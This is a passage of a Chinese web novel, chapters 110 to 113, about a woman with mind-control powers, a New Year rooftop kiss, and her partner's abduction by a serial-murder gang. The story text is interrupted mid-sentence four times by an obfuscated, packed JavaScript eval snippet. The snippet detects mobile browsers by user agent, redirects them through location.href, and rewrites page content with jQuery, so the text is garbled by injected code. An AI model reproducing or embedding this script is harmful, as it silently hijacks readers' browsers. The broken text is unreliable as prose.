玻璃外是被微光照得深蓝的海洋,视野不过几米,再往外,黑色愈发浓郁,而看不见的暗处,似乎潜藏着不少双眼睛,被隧道的微光吸引,正虎视眈眈。 隧道中铺着一条笔直的传送带,无声地滑动前进,而终点通往一个位于海底的球形建筑。 周拾秋跟着庾林走入隧道,身后的门随即关闭。 站在传送带上,可以毫不费力地完成这段旅程,下一个目标便是抵达球形建筑。 “所以,这里能观察什么?” 庾林一脸好奇地东张西望,目之所及,除了深蓝的海水,再无其他可观赏物。 周拾秋一点也不好奇,只想拉着他加速前进。 “最好看的大概就是大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周拾秋的预感没错,如今站在隧道里的两人,仿佛成了观赏物,任凭玻璃外的“游客”观看。 庾林对此并不在意,站在传送带上观望着玻璃外的热闹场景,甚至还指着那些生物努力分辨,并同周拾秋谈论着它们的名字。 此刻的周拾秋哪有这种闲情逸致,拉着庾林的手,加快脚步,拖着庾林往前走。 也许又是想象在作怪,这样的氛围让周拾秋莫名恐惧。 庾林虽然顺从地跟着周拾秋在传送带上行走,但并没有她那样担心,淡然地做出科学解释:“应该是隧道外设置了特殊装置,以声波吸引海洋生物靠近,方便游客观赏。” “如果真这么简单,它就不会营销失败那么多次了,现在它可是以试胆闻名!”周拾秋无奈回应。 “吓人不至于吧,难道海底有怪兽不成?”庾林看着四周游走的鱼群,眼中满是质疑。 “谁知道呢……” 周拾秋不敢想,只一味地拉着庾林加速。 很快,隧道就回答了庾林的疑问。 突如其来的震动让传送带上的两人差点没站稳,紧随而来的是一连串的玻璃开裂声,似乎正有庞然大物向隧道玻璃发动了突袭。 “跑!” 周拾秋发出响亮的指令。 裂纹在身后的隧道壁上现身,如同猛兽伸出来利爪,疯狂蔓延冲向逃亡的两人。 空气中弥漫着海水的味道,恍惚间,甚至有水气喷在周拾秋的脸上。 如果不是庾林紧握着她的手,气定神闲地拉着她向前奔跑,脸上还带着笑,周拾秋已经准备对玻璃隧道施放异能了。 在传送带上跑了足足五分钟有余,周拾秋和庾林才逃离这条看上去濒临崩塌的隧道。 111. 第111章 滨山水族馆的建立初衷实在让周拾秋难以理解,怎么会有人设计理应安抚心灵的场馆时,会肆意加入恶趣味,甚至是反人类恶意? 继玻璃隧道入口大门的惊人投影演出后,这位天才设计师又在玻璃隧道里安排了一场惊悚逃亡戏。 在整条隧道360度无死角投影的配合下,用吸引的海底生物做背景,玻璃碎裂和巨物撞击为主题曲,甚至利用隐藏加湿器做氛围渲染,让出演主角的游客在隧道里拼命逃亡。 一路逃进球形建筑内的周拾秋,俯下身子,一手撑着膝盖,一手扶着腰,大口喘着粗气。 反观庾林,同样因奔跑一路而喘着气,但神色中藏不住高昂的兴致。 方才的“演出”对他来说,像是一场有意思的体验。 “果然是沉浸式体验。”庾林评价。 “沉浸啥啊!”周拾秋一脸不悦。 “深海危机?”庾林笑着回答。 “……”周拾秋语塞。 这种体验似乎有些多余,而这样的体验并没有就此终结。 秉承着来都来了的原则,周拾秋被庾林牵着走完了整条观赏线路。无一例外,一路上满是“陷阱”,将深海恐惧展现得淋漓尽致。 什么坐在气泡一样潜水装置中,沿着轨道在海底穿行,感受与深海巨兽擦身而过,或从深渊巨口溜走的惊险与刺激。 又或者观看死亡冰柱降临,生灵冻结的壮观景象,并成为被冰封的一部分,感受幽闭的恐惧。 甚至还有躲避海底生物捕食的小游戏,深海压力变化的极致体验,灯光全灭后的无尽虚无…… 当两人体验完所有项目,成功到达终点,周拾秋已然筋疲力尽。 在海底转了一大圈,又回到岸边,终点站就在入口大厅隔壁,馆内设计了颁奖台,当游客走出隧道的瞬间,立即有工作人员送上花束以资鼓励。 在工作人员的带领下,周拾秋二人与更早些通关的四人汇合,在深海主题颁奖台上留下合影,签上名字。 今后,这张合影将进入勇者展示的队列,在入口大厅的勇者榜大屏幕上进行轮番展示。 其余五人意犹未尽,大概只有周拾秋庆幸能活着回到陆地。 这间水族馆让她莫名想起了不久前的另一场游戏——位于自由区的勇敢者乐园。 周拾秋觉得,若是有机会,两者的经营者真该见上一面,说不定会觉得惺惺相惜,相见恨晚。 他们应该有说不完的话题吧! 周拾秋心里如此阴阳怪气地念叨着。 晚饭依旧回家解决,饭后他们打打牌,玩玩游戏,聊聊天,一起准备送走L463年最后几小时。 午夜临近,周拾秋将庾林带出了门。 除了庾林,她还带了一条毛毯,两罐啤酒。 两人上了楼顶,并排坐在天台。 禁仿区的楼普遍不算高,虽然在这里的天台上无法做到俯瞰全城,但也同样不会被过多的高楼遮挡视野。 一抬眼,能远眺到分割两区的高墙,越过高墙,便是自由区的高楼大厦。 午夜的滨山区很安静,街道上只有昏黄的路灯,和地面的影子,在迎接新年的日子里,路上甚至没有一辆车。 家家户户的灯火中,是家人相聚的身影。 庾林问周拾秋为何上楼顶吹风。 她笑了,神神秘秘地表示,与其相信那些营销的鬼话,不如听她的胡言乱语。 “你说,我听。”庾林回道。 周拾秋拉着庾林的胳膊,往他身边挪了挪,近到不留缝隙,然后展开毛毯,盖到两人后背,又将一罐啤酒塞到庾林手里。 庾林只是全程面带微笑,静静听她安排。 两罐啤酒轻轻碰撞,周拾秋饮下一口酒,才开始胡扯道:“坐摩天轮看夕阳,太普通;去天文馆留下时间胶囊,也很老套。你不如花一百向我买个绝妙的约会点子,保准一整年都难忘。” “哦?这么便宜?” 庾林说着拿出手机,爽快地付了款。 周拾秋一直盯着他手上动作,笑中带上几分戏弄的味道。 明知是戏弄,庾林还是甘愿上当,陪她继续演下去。 确认钱到账后,周拾秋才故弄玄虚道:“谢谢惠顾!还要再等一会儿,我的大礼正在派件的路上,你不如趁着到货前,仔细想想,想对明年的我说什么,也算留下时间胶囊了。” 庾林低头看了看手机,距离明年只剩几分钟,不由得感叹:“你的时间胶囊时效挺短。” “时间久了,说不定我早忘了,有什么话不如趁早?”周拾秋强词夺理。 “有道理,我想想。” 庾林果真依言做出思考状,闭眼沉思。 周拾秋望着庾林的侧脸,心情有些复杂。有与人相伴的喜悦,有对未来的不安,更多的也许是不愿多想的放纵。 太久以后的事,周拾秋的确不敢妄想,她不敢肯定多年后的自己还能与现在一样。 万一她因犯罪基因黑化了呢? 万一她被进研所发现,或改造,或处决呢? 万一她与庾林没有未来呢? 与其寄希望于携手走到世界尽头,或向未来寄送情书,还不如珍惜眼下。 时间走向0点,周拾秋拍了拍庾林的肩膀,提醒他睁开眼。 她说:“我送的大礼到了,客人注意查收!” 话音刚落,寂静的夜被鞭炮声叫醒,无数光点拖着细长的尾巴升至高空,然后绽放出最璀璨的花朵。 夜空亮如白昼。 高墙的另一边,仿佛为了与邻居一较高下,也使出了浑身解数。 绚丽的灯光刺破长空,为夜幕染上最夺目的色彩,争奇斗艳般舞动,进行一年只能见一回的精彩演出。 这座城,以最热烈的方式,送别旧年,迎接新年。 周拾秋问:“这份大礼喜欢吗?” 庾林忍俊不禁:“你准备的?” 周拾秋厚着脸皮笑道:“这条毛毯,还有你手上的啤酒,都是我准备的。” “嗯。”庾林点点头,表示赞许,“喜欢。” “那想好要对L464年的我说什么了吗?” 周拾秋笑得一脸得意,等着庾林祝她“新年快乐”,然后她再回祝一句。 然而庾林凝视着她的眼睛良久,唇角微微勾起,眼底满是笑意。 “想好了。” “嗯嗯,说吧。” 周拾秋坐直身子,洗耳恭听。 然而她没有等到预想中的那句祝福,只见庾林双唇微微开合,轻飘飘地吐出四个字。 “想亲我吗?” 周拾秋愣了片刻才回过神,意识到庾林究竟在说什么时,心像被什么拽了一下,一股热意涌上脸颊,眼神瞬间慌乱起来。 视线逃窜,周拾秋转头看向别处,懊恼道:“你一定要在这种时候使用能力吗?” 庾林悄悄将她藏在毛毯下的手攥进掌心,指腹轻柔摩挲,被烟火照亮的眼中,尽是周拾秋的身影。 “可我想亲你,可以吗?” 温柔的声音在耳边响起,周拾秋回过头,四目相对,吵闹的烟花与鞭炮声掩盖了两人的心跳,却将气氛烘托得恰到好处。 明明四处弥漫着硝烟的味道,可两人越来越近,似乎能闻到一股甜味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249658|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那味道让两双眼睛逐渐迷离。 “可以。” 周拾秋低声回应,抬手拽住了庾林的衣领,稍稍使力,便将人拉向了自己。 轻柔的触碰,带着难以抑制的躁动。 毛毯将两人裹在其中,遮挡着喧嚣的世界。 摆在周拾秋眼前的,仿佛是云朵一般蓬松绵密的棉花糖,似有若无的甜味扑鼻而来,吸引她咬上那份柔软。 轻轻吮吸,瞬间在舌尖化开,一点点扩散,慢慢甜进心里。 她细细品尝,像个贪恋甜食的小孩。 周拾秋的下巴让指腹禁锢,再被轻柔抬起,调整着最合适的角度。而那只手的主人,始终迎合着她的节奏,又暗中引导着她调整呼吸,让她品尝得更久。 等到她逐渐习惯,这份触碰才逐渐加深,力道随着呼吸慢慢加重。 直到周拾秋的呼吸被搅得彻底乱了套,庾林才放过她,温润的双唇一路轻啄,经过脸颊,最终停在了耳垂。 带着灼热气息的低语在耳边响起:“周拾秋,新年快乐。” 周拾秋软乎乎地靠在庾林颈窝,感觉浑身的力气仿佛被人抽走。 她抬手圈住庾林的脖子,庾林便双手环住她的腰,拥抱,彼此贴近,仿佛要融到一起似的。 “你刚才果然用能力了吧?”周拾秋微喘着,忍不住调侃。 如今看来,庾林故意使坏,明明洞悉了她原本的想法,却故意不按她的想法出牌。 轻微的震动从胸腔传递过来。 庾林笑道:“嗯,但你也想,不是吗?” “好吧,没法反驳,我想,你满意了?”周拾秋叹了口气,老实交代。 “你的约会点子,我很满意。” 庾林说着,又是一个吻落在了周拾秋颈侧,带着无限的依赖。 周拾秋故意用后悔的语气说:“哼,那这点子卖便宜了!” “现在加价也来得急。” 庾林轻轻揉着她的脑袋,宠溺地回应。 周拾秋想了想,说:“你看的营销小广告里不是还有情侣对戒吗?” “嗯,定制中,要过两天才能去取货,打算等陶瓷杯烧制好后一起送给你,我以为这个营销你也不许我信,所以,你会收吗?” “干嘛不收,营销的话虽然不可信,但真金白银,我还是喜欢的。” “小财迷。” “嘻嘻,不想送了吗?” “不,你肯收就好,不管出于何种想法。” 环在周拾秋腰间的手再次收紧,仿佛恨不得将她揉进身体里。 绽放在夜空中的花朵逐渐凋谢,嘈杂的响声也逐渐消退,远处的灯光秀终将落幕,而迎来新年的两人踏入了一种新的关系。 即便不知道这段关系能维系多久,周拾秋还是踏出了这一步。 “新年快乐,男朋友。” “嗯,再陪陪我,女朋友。” 在天台上,被毛毯包裹的两人,依恋着对方的温度,直到整座城市重归黑暗与寂静,两人才依依不舍分开。 周拾秋将庾林送到楼下,并约好天亮后再见面,然后一直目送着庾林的身影消失在街道尽头。 这一晚,周拾秋反复回味着那甜甜的棉花糖味道,失眠到三四点钟才睡着。 等再睁开眼时,天已经大亮,且早已过了两人约定的时间,而原本应该打电话叫醒她的人,竟也爽约了。 “嘿嘿,看来有人跟我一样失眠了啊。” 周拾秋心中猜测,打算打电话过去狠狠嘲笑一番。 然而,电话响了许久,始终无人接听,一股莫名的不祥预感渐渐浮上了周拾秋的心头。 112. 第112章 时间接近9点,周拾秋是被齐绮和母亲的轮番“轰炸”吵醒的。 新年第一天,父母有去山中寺庙上香祈福的习惯,因此周拾秋约了庾林一同前往。 原本8点就该提供叫醒服务的人却突然爽约,打电话也没人接听,这让周拾秋心觉不妙。 关于身陷连环凶案这种事,周拾秋自然不敢跟家里人讲,只跟齐绮交代,说是去看看庾林,让齐绮先陪家里人去庙里祈福,当然主要还是为了稳住家里人。 这边有齐绮随机应变,周拾秋倒是不担心,另一边却让她心绪不宁。 齐绮安慰,兴许就是睡过头罢了,庾林戴着手环,若真遇上什么麻烦,她一定第一时间就知道了,现在没消息,正说明庾林是安全的。 这个道理周拾秋自然明白,但依然无法抑制胡思乱想。 大概是因为百泉的警告。 周拾秋来不及化妆就出了门,一路跑到了旅馆。 路过前台时,老头神情恹恹地抬头瞥了她一眼,接着回头看了看楼梯方向,露出些许疑惑的神色。随即摇了摇头,假装没看见似的,重新低下了脑袋。 周拾秋没多想,径直上了2楼,来到206房间门前。 房门紧闭着,和她上次来时没什么两样。 周拾秋喘了两口气,逐渐稳住紊乱的呼吸,蜷曲着略微颤抖的手指,敲响了房门。 几秒钟过去,房中没有任何动静。 不安感在心中愈发浓烈。 她下意识想用异能打开房门,却在发动异能前一秒及时收手。 如果庾林真遇上什么麻烦,她得找进研所帮忙,而她的异能只会产生误导。 这么一想,周拾秋转身冲到楼下,再次回到前台。 “钥匙,帮我把206的房门打开。”周拾秋语气冰冷地对老头说。 老头有些不悦,头也不抬地盯着手机,语气带着几分怨气:“206房客还在,你不会敲门吗?” 周拾秋本就焦急,被老头怼了一句,心里瞬间窜出火苗来,不想与老头废话,却又不敢发动异能,一怒之下,将昨天从庾林手里赚到的一百支付给了老头。 听到到账一百的语音,老头顿时换了一张嘴脸。 动作利索地从柜子里找到206房间备用钥匙,起身抬了抬下巴,示意周拾秋跟上。 一路上,周拾秋听见老头嘴里小声嘀咕,说话很是难听。 “现在的小丫头真是大胆,禁仿区的男人死光了吗?居然敢到旅馆找理想者过夜,啧啧啧,世风日下哟。” “昨晚背地里偷跑出来的吧?什么时候走的,我怎么没看见?” “要让你爸妈知道,肯定打断你的腿!” 周拾秋不想理他,可他说的话引起周拾秋的警觉。 “你昨晚看到我了?”周拾秋问。 老头朝她翻了个白眼,面带讪笑,“以为我老眼昏花,记性也不好,认不出你这小丫头?但凡走我眼前过一次的人,我都记得清清楚楚。” 心里有根弦霎时间绷紧。 她的预感似乎正在应验,如果老头没有看错,那昨晚百泉一定出现了。 再次回到206房间门前,老头用备用钥匙开了门,然后嘴里念叨着离开了。 周拾秋推门而入,房中的景象将最后一丝希望彻底粉碎了。 房中一切没有太大的变化,也没有打斗痕迹,手机和行李都还在房间里,只是住在房间里的人凭空消失了。 她有些后悔,为何昨晚就那么放庾林离开? 又或者说,为什么没陪庾林回旅馆? 当然,这只是事情发生后,脑子自动复盘产生的懊恼。 其实没有任何意义。 当时的他们,只沉浸于关系改变的欣喜中,丝毫没有觉察到危险在靠近。 周拾秋在房间里打转,努力让自己冷静下来,思考起接下来该怎么办。 如果百泉对庾林不利,危代关系会帮她找到庾林。 这一点毋庸置疑,能最快解决麻烦,同时也证明,现在庾林还未遇到生命危险。 如果百泉是想用庾林来威胁她,那一定会跟她联系。 这样一来,她会有些被动,除了等待似乎没有任何应对之策。 当然还有最坏的情况,百泉直接摘掉庾林的手环。 倘若当真发生这种事,那周拾秋就真的束手无策了。 不过按照百泉他们一直以来的手段,在百泉尚不知庾林的协议危代人是周拾秋的情况下,按理说没有理由故意摘掉手环。毕竟伪装成自杀,然后嫁祸给危代人,才是他们的作案风格。 思来想去,周拾秋主动联系了褚成舟,将庾林失踪的情况进行了交代。 如今,也只有利用进研所追查了。 这是防止最坏的情况出现。 自从昨日庾林联系褚成舟后,褚成舟当天就带着施煦赶到了滨山区。 只因为昨天一天庾林陪周拾秋跨年,将见面的时间往后推延。两人本约好今天下午碰面,没想到约定时间还未到,就收到了庾林失踪的噩耗。 半个小时后,褚成舟和施煦来到了旅馆206房间。 施煦通过嗅觉辨认出三种异能气息,其中之一是已经明确身份的纪骞宏。 另外两种,也是连环凶案现场的常驻选手。 周拾秋自然清楚,其中一人肯定是百泉,至于另外一人,身份尚不明确。 “庾先生挺敏锐,怎么发现有人跟踪的?”褚成舟例行公事一般向周拾秋问话。 周拾秋有些烦躁,不耐烦地回道:“有人鬼鬼祟祟出现在你周围,你也能感觉到吧?否则就该从进研所辞职了。” 褚成舟没有将她的气话当一回事,一脸淡然地继续说道:“昨天我跟施煦去了警局,申请调取了这附近监控,还真发现了鬼鬼祟祟的人。” 周拾秋没想到褚成舟办事还挺利索,好奇地问他查到了什么。 “很难继续查下去,因为每次我感觉奇怪的人,样子都不同。” 褚成舟的回答很让人失望,但也在情理之中,毕竟那是百泉,她可以任意改变容貌体型年龄,就算褚成舟能觉察到异样,也没法追踪。 “不过……” 褚成舟突然又开了口,一句话只开了个头,就没继续说下去,他扭头看向周拾秋,眼底满是探究。 那眼神看得周拾秋心头一紧,莫名预感褚成舟又要说什么坏消息了。 “不过什么……”周拾秋小心翼翼问道。 “前天晚上的监控录像拍到点有意思的东西,差点因为不是发生在庾先生身上就被我们错过了。”褚成舟的眼中散发出锐利的光,给人一种不寒而栗的感觉。 周拾秋咽了咽口水,不动声色。 褚成舟一直卖关子,大概连施煦都看不下去了,接过话头,直接点明。 原来他们来到滨山区后,调取了所有与庾先生行动轨迹有关的监控视频。 视频中的确发现了一些可疑的人影,但无一例外,继续追踪,都会莫名消失在监控死角。并且每次出现的人都不一样,根本无从跟踪下去。 他们自然清楚,有变异系进化者与纪骞宏的空间转移异能搭配,要摸清那伙人的动向,不是那么容易的事。 本不抱什么希望,可观看前天晚上这条街区的视频时,两人有了意外收获。 他们看到庾林开车送周拾秋回家,等周拾秋下车后,他们原本应该继续追寻庾林的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255223|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动向,紧接到旅馆附近的监控摄像头。 然而,因为褚成舟一直以来对于周拾秋的莫名在意,于是这段视频他们多看了一会儿。 也就是这多看的一会儿时间,让两人有了新的收获。 因为进了居民小区的周拾秋,没过一会儿,又从小区大门走了出来,而出来时,身边多了一个人。 听到这里,周拾秋只觉背脊发凉,手臂上密密麻麻地爬满鸡皮疙瘩。 她记得,那是她与百泉的重逢。 “那人是谁呢?” 褚成舟脸上露出意味深长的笑,看似漫不经心地问道。 周拾秋心跳猛然加速,面上强装镇定,回答:“一个很久不见的朋友……” 褚成舟像是抓住了她话里的漏洞一般,言辞不由自主变得犀利起来:“哦?刚见面,不请朋友到家里叙叙旧?” “我家里太窄了,不方便。”周拾秋努力寻找着合理的解释。 褚成舟闷声笑了起来,“所以就将朋友带到了废弃的大楼里?秘书小姐对待朋友可太随性了。” 这句话说出口,周拾秋两眼一黑,只觉自己掉进了褚成舟提前挖好的坑里,此刻只等着对方将她活埋。 周拾秋不再说话,褚成舟一副神清气爽的模样,在房间里转了一圈,嘴上轻描淡写地讲述着看到的一切。 “我并不关心秘书小姐与朋友之间存在什么特殊嗜好,只是我们找到了废弃大楼附近的监控,比较遗憾的是看不到楼里的情况,不知你的这位朋友有什么不可告人之处吗?” 听到褚成舟再次抛出疑问,周拾秋闭眼叹了口气。 不用想,褚成舟又给她挖了一个坑。 周拾秋清楚地知道当天发生了什么,她与百泉见面,百泉想拉她入伙,被她拒绝,而后不欢而散。 故事非常简单,可问题是百泉通过危机管理局手环叫来了纪骞宏,然后纪骞宏用异能带走了百泉。 这才是褚成舟真正想知道的。 因为监控中,永远不会出现百泉离开废弃大楼的画面。 周拾秋没有回答褚成舟的提问,而是平静地反问:“你们去大楼里看过了吗?” “嗯,去过了。”回答她的人是施煦。 一切已然明了,既然施煦去了废弃大楼,那一定会在里面嗅到百泉和纪骞宏的异能残留气息。 她没法隐瞒。 “没错,我认识一位进化者,你们要判我包庇罪吗?”周拾秋眼神阴冷地扫过褚成舟的脸。 褚成舟突然一脸冷峻地开口道:“秘书小姐,你的这位朋友不止是进化者,还是连环凶案的凶手之一!所以,那人究竟为何找你?你们有何关系?” 面对褚成舟的质问,周拾秋彻底没了脾气。 她没想到褚成舟能查到这种地步,终究只能怪自己不够小心。 她还能找什么理由搪塞过去吗? 说那只是她很久以前认识的一位朋友,她完全不知道对方参与了犯罪,并且那人找她只是因为许久不见十分想念? 说出来连她自己都觉得有些可笑。 如今她只是想尽快救回庾林,却没想到自己隐藏的身份竟成了绊脚石,彻底带偏了褚成舟的视角。 房间里异常安静,褚成舟与施煦的视线始终集中在周拾秋身上,带着一点点戒备。 从第一次见面起,褚成舟就没停止过对周拾秋的怀疑,那或许是身为进研所专员的直觉,让他莫名感觉周拾秋身上隐藏着什么秘密。 如今,他想看周拾秋还能如何解释。 沉默了许久,周拾秋从纠结中挣脱开来,抬起头,眼神静如止水。 她语气毫无波澜地回应:“因为她想拉拢一位进化者老朋友。” 113. 第113章 周拾秋会如此轻易自曝,连褚成舟自己也没有想到。 他本只是想看看周拾秋还能编出什么鬼话,来消除他对她的怀疑,毕竟就算知道周拾秋的身份有问题,他现在身上没有武器,光凭施煦的能力,是绝无可能将一个进化者捉回进研所。 他清楚的事,周拾秋也能想到。 毕竟,他被停职的事还是拜周拾秋所赐,这是一条公开的信息。 “周小姐,你现在是在承认自己是进化者?”施煦有些疑惑地看着周拾秋。 周拾秋一脸淡定,点点头,没有一丝犹豫,“没错,我是进化者,并且是你们一直在通缉的夜白鹭。” 这句话与其说是自白,不如说是威胁,此刻褚成舟整张脸死气沉沉。 周拾秋大胆地直视着褚成舟的眼睛,仿佛只是说着一件没什么大不了的事。 与褚成舟的沉默不同,施煦眼底满是疑虑,拿出手机,调取通缉者信息,然后看着屏幕上出现的夜白鹭照片,仔细比对着周拾秋的脸,一边摇头一边说: “样子不太像,年龄也不吻合,你真名叫百泉?” 周拾秋没料到有一天还得证明自己是自己,眼中金色波纹流转,床头柜上遗落的手机自动跳到了周拾秋手里。 施煦只是吸了吸鼻子,仔细嗅了嗅,浑身不禁颤栗,下意识往褚成舟身边挪了挪。 “与夜白鹭的异能气息很像……”她悄声对褚成舟说。 褚成舟的脸色更难看了,眯着眼,眉头微蹙,神色冷峻地望着周拾秋,脑子里不知在盘算着什么,只是上前一步,默不作声地将施煦拉到了身后。 “就这么轻易告诉我们,看来我们今天没法离开这间房了……”褚成舟的脸上写着“视死如归”四个字。 周拾秋一句脏话差点骂出口,苦笑道:“你是不是有病?我叫你来这儿不是想自首,我让你帮我找人啊大哥!” “呵呵……”褚成舟以笑掩饰着脸上尴尬,“进化者还想着救人吗?” “你真是被进研所洗脑洗傻了!”周拾秋不客气地吐槽。 “咳咳,我只是好奇,为何你一直在帮庾先生?”褚成舟问。 周拾秋剜了他一眼,冷冷回答:“废话,我为他工作,指着他帮我还债呢!保护金主,有什么问题?每次让你们查案,都往我头上查……” “不如找找自己的问题?没事干嘛乱用异能,混乱调查视线?”褚成舟厚着脸皮,回怼得理直气壮。 “你……”周拾秋一时语塞,仔细一想,确实没法反驳,只能做出一副不与褚成舟一般见识的模样,“行了,这次没我捣乱,麻烦你们调查快点!” “很难。”褚成舟想都没想就给出了答复。 他的回答差点没把周拾秋气得吐血,如果可以,周拾秋当真想在这间房里了结了褚成舟。 “进研所不可能为了一个人,出动所有人,并动用警力,全城搜捕。再说,有纪骞宏的异能在,这伙人甚至可能已经带着庾先生逃到了外地。” 褚成舟慢条斯理地向周拾秋解释,末了还要加句风凉话,“所以我说最好的办法就是庾先生自愿当饵,让我们暗中监视布防,兴许还有可能抓到这伙进化者。” 周拾秋气得咬牙切齿,不留情面地骂道:“真是没用!” 褚成舟有些难堪,却也没法反驳,沮丧地塞了根烟到嘴里,刚想点火,才想起此处禁烟,便又无奈地将烟塞回烟盒中。 “我也没指望你们救庾林。”周拾秋说。 “那你叫我们来干嘛?当真是打算自首?”褚成舟冷笑道。 “呸呸呸!”周拾秋一脸无语,指了指施煦,说,“就想借她鼻子用一用,确定是谁绑走了庾林。” 施煦平静地问出了一个想不通的问题:“周小姐,我们走出这间房,一定会将你的情况上报进研所,你现在该担心的不是庾先生,而是你自己。你唯一的胜算是在这里解决我们。” 她全程像是说着与自己无关的事,教给周拾秋逃脱的办法,听得褚成舟无语地笑了。 “我知道,但我没有别的办法了。”周拾秋重重叹了口气,“庾林我会自己救,但如果我没能彻底击溃百泉,我希望进研所可以保护我的家人和朋友。” 褚成舟和施煦面面相觑,谁都没能明白周拾秋在说什么。 褚成舟:“百泉?那不是夜白鹭的真实身份吗?” 施煦:“你的家人和朋友与这个案子有什么关系?” 褚成舟:“进研所都抓不住的人,你打算怎么找?” 施煦:“就算你的异能是意识控制,只要找不到人,有异能也无用。” “停!” 两人一唱一和,说得周拾秋有些头疼,她高声吼叫,让两人同时闭了嘴。 要想两人跟她合作,她只能将事情的来龙去脉和盘托出。 关于夜白鹭背后藏着的两个身份,关于庾林真正的协议危代人,关于百泉想要拉拢她的经过和威胁,甚至包括她与庾林意外互换意识的真相。 除去一些并不影响两人理解来龙去脉的细节,比如与暗魈合作的部分,周拾秋将能说的一切都告诉了两人。 这么做的目的只有一个,她想跟褚成舟和施煦达成某种协议。 “我帮你们抓住涉足连环凶案的所有罪犯,你们帮我保护家人朋友,事情结束后,我可以成为你们的头等功,随你们回进研所,但你们必须保证,不进行包庇问责!”周拾秋厉声说着自己的方案。 褚成舟表情慵懒地笑问:“你不怕我出尔反尔?” 周拾秋的眼中有寒光一闪而过,语气平淡地说出威胁的话:“那就鱼死网破,我一定会控制你杀掉施煦!” 她的眼神告诉褚成舟,这不是玩笑话,并且她也成功抓住了他的软肋。 “为一个普通人放弃今后的生活,真不像一个进化者干得出来的事。”褚成舟轻声笑了笑,不禁感叹起来,视线却不经意瞥向了施煦。 施煦并没注意到褚成舟的目光,此刻正一脸认真地看着周拾秋,问:“接下来你打算怎么做?” “什么都做不了,只能等,等百泉的下一步,不管是联系我,还是对庾林动手。”周拾秋淡定地回答。 其实不过是表面强装镇定罢了。 她心中的不安随着时间过去,不断扩大,可她什么办法也没有。 只能寄希望于百泉还有下一步,可如果百泉的行动已经结束,改变了过去的行动模式,那一切就无法挽回了。 若真发展到这一步,周拾秋的心中似乎只剩下恨,复仇将是她剩余生命中唯一的目标。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263561|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么人都不该破坏她的生活,即便那是百泉也不可以。 那团怒火一直被禁锢在内心深处,火舌舔舐着捆绑住它的链条,似要逃出,再将一切焚烧成灰烬。 与褚成舟和施煦约定好后,周拾秋带上庾林的行李,帮庾林办理退房,并离开了旅馆。 两人将如约替她保守身份秘密,当然只是暂时的同盟,他们的共同目标是抓住百泉一伙,待到一切结束,周拾秋会按照约定,随褚成舟去进研所。 而后将面临什么,周拾秋懒得去思考。 回家放下庾林的行李,周拾秋强装无事去寺庙与家人朋友汇合。 简单将情况告诉齐绮,并表示褚成舟和施煦会回进研所,以罪犯可能接触目标为由,申请保护措施,今后会暗中监视保护她的家人朋友。 因为有进研所的介入,周拾秋不能再继续留在他们身边,否则,从进研所带来的装备会直接锁定在她头上。 故而,周拾秋找了个借口,独自返回涟上区花店,将家里人交给了齐绮。 知道一切后,齐绮心情一言难尽,有责备,也有心疼。 大概很多事,都没法做到两全。 这种事在齐绮知道周拾秋身份的那一天起,就做好了终有一天离别的准备,只是她从没想过会是以这种方式。 两人没有太多言语,两双手只是紧紧握在一起,相互给予力量,然后又默默分开。 从滨山区回到花店时,已近中午,门上还贴着度假的告示,周拾秋并没有撕掉,而是直接进了花店。 如今暂时没空开店营业,因为她还在等一个结果。 褚成舟的行动很快,当天下午就打电话联系,告知周拾秋,保护网已经布置在她家人朋友四周,一旦百泉试图接近,异能都会被捕捉到。 没了后顾之忧,周拾秋全神贯注于庾林失踪一事上。 好在没能让她苦等太久,当天夜里,百泉就迫不及待地行动了。 因为,沉寂了许久的手环,陡然亮起了红光。 下一秒,意识传送。 等再睁开眼时,她竟回到了天宫酒店60A的客厅里,此刻她正躺在沙发上,天旋地转的感觉让她感觉很不舒服,呼吸异常困难,心跳过速,头仿佛要炸裂一般疼痛。 有人声传入耳中,却被耳鸣盖过,听得不真切。 眼前有奇怪的光晕旋转,影子层层叠叠,让一切都变得模糊。 周拾秋感觉到前所未有的死亡威胁,艰难地抬起头,她看见三个人站在不远处,似乎在争论着什么。 